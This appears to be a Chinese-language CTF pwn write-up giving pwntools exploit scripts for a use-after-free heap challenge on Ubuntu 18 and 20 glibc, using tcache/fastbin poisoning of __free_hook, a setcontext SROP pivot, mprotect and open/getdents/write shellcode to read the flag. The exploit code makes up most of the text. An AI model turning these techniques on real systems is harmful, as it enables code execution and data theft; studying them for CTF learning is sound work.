ubuntu18
限制数量0x10、UAF、禁exe
add(0x420)
add(0x420)
dele(0)
add(0x90)
show(1)
r.recvuntil("Content : ")
base=u64(r.recv(6)+b'\x00'*2)-0x3ec090
print(hex(base))
for i in range(9):
add(0x18)
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
edit(2,0x600,b'a'*0x18+p64(0x21)+p64(free_hook-0x10))
for i in range(9):
add(0x18)
edit(11,0x100,p64(setcontext))
#read(0,fake_rsp,0x2000)
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall
add(0x500)
edit(12,0x500,str(frame))
dele(12)
#mprotect(fake_rsp,0x1000,7)
#open+sendfile
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./'))
payload += asm(shellcraft.getdents64(3,fake_rsp+0x300,0x100))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x100))
payload += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (fake_rsp+0x100))
r.send(payload)
ubuntu20 orw
查看一下setcintext函数
free(rdi) setcontext(rdx)
2.31版本的setcontext变化,传参的寄存器也从rdi变成了rdx,所以要找合适的gadget把rdi的值传给rdx
直接ROPgadget
或者利用ropper寻找
目的是free后rdi的值传递给rdx,然后rdx的值再传到setcontext里面
add(0x420)
add(0x420)
dele(0)
add(0x90)
show(1)
p.recvuntil("Content : ")
base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecfd0
print(hex(base))
首先获取libc基址
为什么能show出来的只有新分配0x90的chunk1,而0x420大小的chunk1无法show
for i in range(9):
add(0x18) #2-10
#4-10 tcache
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
#3 fastbin
申请9个chunk,其中7个free掉用来填满tcachebin,还有一个chunk3放入fastbin
最后一个chunk2用来溢出修改chunk3
edit(2,0x40,b'a'*0x18+p64(0x21)+p64(free_hook-0x10)) #0x55xxxxxxx330
通过对chunk2 编辑的溢出,将相邻的chunk(也就是下面我们会申请成的chunk3)的fd改成free_hook-0x10
这里说明了为什么要将fd改为free_hook-0x10,而不是free_hook-0x10
#chunk11
进入_int_malloc我们会发现rdx会加0x10
下面准备清空tcachebin,并将fastbin腾出供我们下面利用
for i in range(7):
add(0x18) # 3-10 370 430
add(0x18) # 10 350
add(0x18) # new 11 -> free_hook
show(3)
p.recvuntil("Content : ")
#frame_addr=u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00'))
frame_addr=u64(p.recv(6)+b'\x00'*2)+0x770 # —> frame
print(hex(frame_addr))
现在的chunk3储存着堆地址,将它泄露出来
#chunk3
rdxx=0x0000000000151990+base
#mov rdx, qword ptr [rdi + 8];
#mov qword ptr [rsp], rax;
#call qword ptr [rdx + 0x20];
fake_rsp = (free_hook&0xfffffffffffff000)
#read(0,fake_rsp,0x1000) asm(shell1)
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % fake_rsp
edit(11,0x300,p64(rdxx)+p64(0)+p64(free_hook+0x18)+asm(shell1))
向free_hook中写入shellcode
add(0x500) #12
#mprotect(fake_rsp,0x1000,7)
frame = SigreturnFrame()
frame.rsp = base + libc.sym['__free_hook']+0x10
frame.rdi = fake_rsp
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = base + libc.sym['mprotect']
payload1 = p64(0)+p64(frame_addr)
payload1+= p64(0)*4 + p64(setcontext+61) + str(frame)[0x28:]
edit(12,0x500,payload1)
str(frame)[0x28:]截掉前面没用还占空间的\x00
dele(12)
chunk12 af0
rdxx:
payload1 = p64(0)+p64(frame_addr)
payload1+= p64(0)*4 + p64(setcontext+61) + str(frame)[0x28:]
可以看出为什么前面payload1为什么要加p64(0)*4来抬栈
mov rdx
call rdx+0x20
setcontext+61:
frame:
shell:
将shellcode写入我们构建的可写可执行段,来读flag名以及再构造一次read
pl=""
pl+=asm(shellcraft.open("./"))
pl+=asm(shellcraft.gatdents64(3,fake_rsp+0x30,0x100))
pl+=asm(shellcraft.write(1,fake_rsp+0x30,0x100))
pl+=asm('''
mov rdi, 0;mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
'''% (fake_rsp+0x100))
p.send(pl)
嗨嗨
p.recvuntil("flag")
name=r.recv(6)
flag='flag'+name
shellcode = asm(shellcraft.cat(flag))
shellcode+= asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (fake_rsp+0x100))
p.send(shellcode)
标签:dele,p64,frame,mov,53,61,fake,setcontext,rsp From: https://www.cnblogs.com/shuzM/p/16928535.html